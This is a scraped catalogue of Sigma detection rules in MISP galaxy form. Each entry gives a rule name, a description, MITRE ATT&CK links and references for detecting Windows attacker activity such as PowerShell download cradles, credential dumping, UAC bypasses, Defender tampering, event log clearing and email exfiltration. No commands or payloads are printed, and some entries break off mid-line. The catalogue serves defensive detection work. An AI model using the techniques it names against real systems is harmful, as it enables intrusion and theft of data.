<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_recycle_bin_fake_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_recycle_bin_fake_execution.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious HH.EXE Execution**

Detects a suspicious execution of a Microsoft HTML Help (HH.exe)

The tag is: `misp-galaxy:sigma-rules="Suspicious HH.EXE Execution"`

View relationships graph

Suspicious HH.EXE Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Phishing - T1566"` with estimative-
Webshell Tool Reconnaissance Activity

Detects processes spawned from web servers (PHP, Tomcat, IIS, etc.) that perform reconnaissance looking for the existence of popular scripting tools (perl, python, wget) on the system via the help commands

The tag is: *misp-galaxy:sigma-rules=*"Webshell Tool Reconnaissance Activity"

View relationships graph

Webshell Tool Reconnaissance Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Computer Password Change Via Ksetup.EXE

Detects password change for the computer’s domain account or host principal via "ksetup.exe"

The tag is: *misp-galaxy:sigma-rules=*"Computer Password Change Via Ksetup.EXE"

Table 10224. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://ragged-lab.blogspot.com/2020/07/webshells-automating-reconnaissance.html">https://ragged-lab.blogspot.com/2020/07/webshells-automating-reconnaissance.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_tool_recon.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_tool_recon.yml</a></td>
</tr>
</tbody>
</table>

Table 10225. Table References
Suspicious Eventlog Clear or Configuration Change

Detects clearing or configuration of eventlogs using wevtutil, powershell and wmic. Might be used by ransomwares during the attack (seen by NotPetya and others).

The tag is: `misp-galaxy:sigma-rules="Suspicious Eventlog Clear or Configuration Change"`

View relationships graph

Suspicious Eventlog Clear or Configuration Change has relationships with:


Table 10226. Table References

Suspicious Certreq Command to Download

Detects a suspicious certreq execution taken from the LOLBAS examples, which can be abused to download (small) files

The tag is: `misp-galaxy:sigma-rules="Suspicious Certreq Command to Download"`

View relationships graph

Suspicious Certreq Command to Download has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 10227. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Certreq/">https://lolbas-project.github.io/lolbas/Binaries/Certreq/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_certreq_download.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_certreq_download.yml</a></td>
</tr>
</tbody>
</table>

Tamper Windows Defender Remove-MpPreference

Detects attempts to remove Windows Defender configurations using the 'MpPreference' cmdlet

The tag is: misp-galaxy:sigma-rules="Tamper Windows Defender Remove-MpPreference"

View relationships graph

Tamper Windows Defender Remove-MpPreference has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 10228. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_tamper_defender_remove_mppreference.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_tamper_defender_remove_mppreference.yml</a></td>
</tr>
</tbody>
</table>

Renamed BrowserCore.EXE Execution

Detects process creation with a renamed BrowserCore.exe (used to extract Azure tokens)

The tag is: misp-galaxy:sigma-rules="Renamed BrowserCore.EXE Execution"

View relationships graph

Renamed BrowserCore.EXE Execution has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"
• related-to: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 10229. Table References

| Links |
Potential Script Proxy Execution Via CL_Mutexverifiers.ps1

Detects the use of the Microsoft signed script "CL_mutexverifiers" to proxy the execution of additional PowerShell script commands.

The tag is: *misp-galaxy:sigma-rules="Potential Script Proxy Execution Via CL_Mutexverifiers.ps1"*

View relationships graph

Potential Script Proxy Execution Via CL_Mutexverifiers.ps1 has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="System Script Proxy Execution - T1216"* with estimative-language:likelihood-probability="almost-certain"

Table 10230. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/">https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cl_mutexverifiers.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cl_mutexverifiers.yml</a></td>
</tr>
</tbody>
</table>

HackTool - Default PowerSploit/Empire Scheduled Task Creation

Detects the creation of a schtask via PowerSploit or Empire Default Configuration.

The tag is: *misp-galaxy:sigma-rules="HackTool - Default PowerSploit/Empire Scheduled Task Creation"*

View relationships graph

HackTool - Default PowerSploit/Empire Scheduled Task Creation has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"* with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"* with estimative-language:likelihood-probability="almost-certain"

Table 10231. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Tor Client/Browser Execution**

Detects the use of Tor or Tor-Browser to connect to onion routing networks

The tag is: `misp-galaxy:sigma-rules="Tor Client/Browser Execution"`

View relationships graph

Tor Client/Browser Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003"` with estimative-language:likelihood-probability="almost-certain"

---

**PUA - Seatbelt Execution**

Detects the execution of the PUA/Recon tool Seatbelt via PE information of command line parameters

The tag is: `misp-galaxy:sigma-rules="PUA - Seatbelt Execution"`

View relationships graph

PUA - Seatbelt Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Cloud Service Discovery - T1526"` with estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy:mitre-attack-pattern="Account Discovery - T1087"` with estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"
HackTool - Inveigh Execution

Detects the use of Inveigh a cross-platform .NET IPv4/IPv6 machine-in-the-middle tool

The tag is: misp-galaxy:sigma-rules="HackTool - Inveigh Execution"

View relationships graph

HackTool - Inveigh Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

UAC Bypass Abusing Winsat Path Parsing - Process

Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)

The tag is: misp-galaxy:sigma-rules="UAC Bypass Abusing Winsat Path Parsing - Process"

View relationships graph

UAC Bypass Abusing Winsat Path Parsing - Process has relationships with:

Potentially Suspicious Child Process Of Regsvr32

Detects potentially suspicious child processes of "regsvr32.exe".

The tag is: `misp-galaxy:sigma-rules="Potentially Suspicious Child Process Of Regsvr32"`

View relationships graph

Potentially Suspicious Child Process Of Regsvr32 has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010"` with estimative-language:likelihood-probability="almost-certain"

Table 10236. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.echotrail.io/insights/search/regsvr32.exe">https://www.echotrail.io/insights/search/regsvr32.exe</a></td>
</tr>
</tbody>
</table>

Webshell Detection With Command Line Keywords

Detects certain command line parameters often used during reconnaissance activity via web shells.

The tag is: `misp-galaxy:sigma-rules="Webshell Detection With Command Line Keywords"`

View relationships graph

Webshell Detection With Command Line Keywords has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Account Discovery - T1087"` with estimative-language:likelihood-probability="almost-certain"

Table 10237. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/bumblebee-webshell-xhunt-campaign/">https://unit42.paloaltonetworks.com/bumblebee-webshell-xhunt-campaign/</a></td>
</tr>
</tbody>
</table>
LOLBIN Execution From Abnormal Drive

Detects LOLBINs executing from an abnormal or uncommon drive such as a mounted ISO.

The tag is: `misp-galaxy:sigma-rules="LOLBIN Execution From Abnormal Drive"`

Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2021/12/13/diavol-ransomware/">https://thedfirreport.com/2021/12/13/diavol-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://www.scythe.io/library/threat-emulation-qakbot">https://www.scythe.io/library/threat-emulation-qakbot</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lolbin_exec_from_non_c_drive.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lolbin_exec_from_non_c_drive.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Execution of Shutdown to Log Out

Detects the rare use of the command line tool shutdown to logoff a user

The tag is: `misp-galaxy:sigma-rules="Suspicious Execution of Shutdown to Log Out"`

View relationships graph

Suspicious Execution of Shutdown to Log Out has relationships with:


Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1529/T1529.md">https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1529/T1529.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shutdown_logoff.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shutdown_logoff.yml</a></td>
</tr>
</tbody>
</table>

Unmount Share Via Net.EXE

Detects when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation

The tag is: `misp-galaxy:sigma-rules="Unmount Share Via Net.EXE"`
Unmount Share Via Net.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1070.005" with estimative-language:likelihood-probability="almost-certain"

Table 10240. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcc3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcc3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_share_unmount.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_share_unmount.yml</a></td>
</tr>
</tbody>
</table>

**Add Insecure Download Source To Winget**

Detects usage of winget to add a new insecure (http) download source. Winget will not allow the addition of insecure sources, hence this could indicate potential suspicious activity (or typos)

The tag is: misp-galaxy:sigma-rules="Add Insecure Download Source To Winget"

Add Insecure Download Source To Winget has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 10241. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/nasbench/Misc-Research/tree/b9596e8109d0cb16ec353f316678927e507a5b8d/LOLBINs/Winget">https://github.com/nasbench/Misc-Research/tree/b9596e8109d0cb16ec353f316678927e507a5b8d/LOLBINs/Winget</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winget_add_insecure_custom_source.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winget_add_insecure_custom_source.yml</a></td>
</tr>
</tbody>
</table>

**Launch-VsDevShell.PS1 Proxy Execution**

Detects the use of the 'Launch-VsDevShell.ps1' Microsoft signed script to execute commands.

The tag is: misp-galaxy:sigma-rules="Launch-VsDevShell.PS1 Proxy Execution"

Launch-VsDevShell.PS1 Proxy Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PubPrn - T1216.001" with estimative-
**Interactive AT Job**

Detects an interactive AT job, which may be used as a form of privilege escalation.

The tag is: `misp-galaxy:sigma-rules="Interactive AT Job"`

**Suspicious Download From File-Sharing Website Via Bitsadmin**

Detects usage of bitsadmin downloading a file from a suspicious domain

The tag is: `misp-galaxy:sigma-rules="Suspicious Download From File-Sharing Website Via Bitsadmin"`
Sdiagnhost Calling Suspicious Child Process

Detects sdiagnhost.exe calling a suspicious child process (e.g. used in exploits for Follina / CVE-2022-30190)

The tag is: misp-galaxy:sigma-rules="Sdiagnhost Calling Suspicious Child Process"

View relationships graph

Sdiagnhost Calling Suspicious Child Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 10245. Table References

Rundll32 Execution Without DLL File

Detects the execution of rundll32 with a command line that doesn't contain a .dll file

The tag is: misp-galaxy:sigma-rules="Rundll32 Execution Without DLL File"

View relationships graph
Rundll32 Execution Without DLL File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 10246. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/mrd0x/status/1481630810495139841?s=12">https://twitter.com/mrd0x/status/1481630810495139841?s=12</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_executable_invalid_extension.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_executable_invalid_extension.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Child Process of AspNetCompiler

Detects potentially suspicious child processes of "aspnet_compiler.exe".

The tag is: misp-galaxy:sigma-rules="Suspicious Child Process of AspNetCompiler"

View relationships graph

Suspicious Child Process of AspNetCompiler has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

Table 10247. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/">https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/</a></td>
</tr>
<tr>
<td><a href="https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/">https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_aspnet_compiler_susp_child_process.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_aspnet_compiler_susp_child_process.yml</a></td>
</tr>
</tbody>
</table>

Microsoft IIS Service Account Password Dumped

Detects the Internet Information Services (IIS) command-line tool, AppCmd, being used to list passwords

The tag is: misp-galaxy:sigma-rules="Microsoft IIS Service Account Password Dumped"

View relationships graph

Microsoft IIS Service Account Password Dumped has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 10248. Table References
System File Execution Location Anomaly

Detects a Windows program executable started from a suspicious folder

The tag is: misp-galaxy:sigma-rules="System File Execution Location Anomaly"

View relationships graph

System File Execution Location Anomaly has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 10249. Table References

Links

https://twitter.com/GelosSnake/status/934900723426439170
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_system_exe_anomaly.yml

PowerShell Download and Execution Cradles

Detects PowerShell download and execution cradles.

The tag is: misp-galaxy:sigma-rules="PowerShell Download and Execution Cradles"

View relationships graph

PowerShell Download and Execution Cradles has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 10250. Table References

Links

https://labs.withsecure.com/publications/fin7-target-veeam-servers
Arbitrary File Download Via GfxDownloadWrapper.EXE

Detects execution of GfxDownloadWrapper.exe with a URL as an argument to download file.

The tag is: `misp-galaxy:sigma-rules="Arbitrary File Download Via GfxDownloadWrapper.EXE"`

View relationships graph

Arbitrary File Download Via GfxDownloadWrapper.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Table 10251. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/HonorableMentions/GfxDownloadWrapper/">https://lolbas-project.github.io/lolbas/HonorableMentions/GfxDownloadWrapper/</a></td>
</tr>
</tbody>
</table>

UAC Bypass Using MSConfig Token Modification - Process

Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)

The tag is: `misp-galaxy:sigma-rules="UAC Bypass Using MSConfig Token Modification - Process"`

View relationships graph

UAC Bypass Using MSConfig Token Modification - Process has relationships with:


Table 10252. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/hfiref0x/UACME">https://github.com/hfiref0x/UACME</a></td>
</tr>
</tbody>
</table>
Service Reconnaissance Via Wmic.EXE

An adversary might use WMI to check if a certain remote service is running on a remote device. When the test completes, a service information will be displayed on the screen if it exists. A common feedback message is that "No instance(s) Available" if the service queried is not running. A common error message is "Node - (provided IP or default) ERROR Description =The RPC server is unavailable" if the provided remote host is unreachable.

The tag is: misp-galaxy:sigma-rules="Service Reconnaissance Via Wmic.EXE"

Sysmon Configuration Update

Detects updates to Sysmon's configuration. Attackers might update or replace the Sysmon configuration with a bare bone one to avoid monitoring without shutting down the service completely.

The tag is: misp-galaxy:sigma-rules="Sysmon Configuration Update"
Script Interpreter Execution From Suspicious Folder

Detects a suspicious script execution in temporary folders or folders accessible by environment variables.

The tag is: `misp-galaxy:sigma-rules="Script Interpreter Execution From Suspicious Folder"`

View relationships graph

Script Interpreter Execution From Suspicious Folder has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059"` with estimative-language:likelihood-probability="almost-certain"

Table 10255. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.virustotal.com/gui/file/91ba814a86ddec7a9d546e26f912c541205b47a853d227756ab1334ade92c3f">https://www.virustotal.com/gui/file/91ba814a86ddec7a9d546e26f912c541205b47a853d227756ab1334ade92c3f</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_exec_from_env_folder.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_exec_from_env_folder.yml</a></td>
<td></td>
</tr>
</tbody>
</table>

Insecure Transfer Via Curl.EXE

Detects execution of "curl.exe" with the "--insecure" flag.

The tag is: `misp-galaxy:sigma-rules="Insecure Transfer Via Curl.EXE"`

Table 10256. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://curl.se/docs/manpage.html">https://curl.se/docs/manpage.html</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_insecure_connection.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_insecure_connection.yml</a></td>
<td></td>
</tr>
</tbody>
</table>

Remote Code Execute via Winrm.vbs

Detects an attempt to execute code or create service on remote host via winrm.vbs.

The tag is: `misp-galaxy:sigma-rules="Remote Code Execute via Winrm.vbs"`

View relationships graph

Remote Code Execute via Winrm.vbs has relationships with:
Email Exfiltration Via PowerShell

Detects email exfiltration via powershell cmdlets

The tag is: misp-galaxy:sigma-rules="Email Exfiltration Via Powershell"

Potential PowerShell Obfuscation Via Reversed Commands

Detects the presence of reversed PowerShell commands in the CommandLine. This is often used as a method of obfuscation by attackers

The tag is: misp-galaxy:sigma-rules="Potential PowerShell Obfuscation Via Reversed Commands"

Potential PowerShell Obfuscation Via Reversed Commands has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
Table 10259. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=66">https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=66</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_reversed_strings.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_reversed_strings.yml</a></td>
</tr>
</tbody>
</table>

**Process Creation Using Sysnative Folder**

Detects process creation events that use the Sysnative folder (common for CobaltStrike spawns)

The tag is: `misp-galaxy:sigma-rules="Process Creation Using Sysnative Folder"`

View relationships graph

Process Creation Using Sysnative Folder has relationships with:


Table 10260. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sysnative.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sysnative.yml</a></td>
</tr>
</tbody>
</table>

**Arbitrary File Download Via MSEDGE_PROXY.EXE**

Detects usage of "msedge_proxy.exe" to download arbitrary files

The tag is: `misp-galaxy:sigma-rules="Arbitrary File Download Via MSEDGE_PROXY.EXE"`

View relationships graph

Arbitrary File Download Via MSEDGE_PROXY.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 10261. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/msedge_proxy/">https://lolbas-project.github.io/lolbas/Binaries/msedge_proxy/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msedge_proxy_download.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msedge_proxy_download.yml</a></td>
</tr>
</tbody>
</table>
PUA - Crassus Execution

Detects Crassus, a Windows privilege escalation discovery tool, based on PE metadata characteristics.

The tag is: `misp-galaxy:sigma-rules="PUA - Crassus Execution"`

View relationships graph

PUA - Crassus Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Domain Properties - T1590.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 10262. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/vu-ls/Crassus">https://github.com/vu-ls/Crassus</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_crassus.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_crassus.yml</a></td>
</tr>
</tbody>
</table>

Add New Download Source To Winget

Detects usage of winget to add new additional download sources

The tag is: `misp-galaxy:sigma-rules="Add New Download Source To Winget"`

View relationships graph

Add New Download Source To Winget has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059"` with estimative-language:likelihood-probability="almost-certain"

**Table 10263. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget">https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winget_add_custom_source.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winget_add_custom_source.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Reconnaissance Activity Via GatherNetworkInfo.VBS

Detects execution of the built-in script located in "C:\Windows\System32\gatherNetworkInfo.vbs".
Which can be used to gather information about the target machine

The tag is: `misp-galaxy:sigma-rules="Suspicious Reconnaissance Activity Via GatherNetworkInfo.VBS"`

**View relationships graph**

Suspicious Reconnaissance Activity Via GatherNetworkInfo.VBS has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Group Policy Discovery - T1615" with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

**Table 10264. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://posts.slayerlabs.com/living-off-the-land/#gathernetworkinfovbs">https://posts.slayerlabs.com/living-off-the-land/#gathernetworkinfovbs</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government">https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gather_network_info_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gather_network_info_execution.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious PowerShell Parent Process**

Detects a suspicious or uncommon parent processes of PowerShell

The tag is: `misp-galaxy:sigma-rules="Suspicious PowerShell Parent Process"`

**View relationships graph**

Suspicious PowerShell Parent Process has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

**Table 10265. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**HackTool - SecurityXploded Execution**

Detects the execution of SecurityXploded Tools

The tag is: `misp-galaxy:sigma-rules="HackTool - SecurityXploded Execution"`
View relationships graph

HackTool - SecurityXploded Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"

Table 10266. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://cyberx-labs.com/blog/gangnam-industrial-style-apt-campaign-targets-korean-industrial-companies/">https://cyberx-labs.com/blog/gangnam-industrial-style-apt-campaign-targets-korean-industrial-companies/</a></td>
</tr>
<tr>
<td><a href="https://securityxploded.com/">https://securityxploded.com/</a></td>
</tr>
<tr>
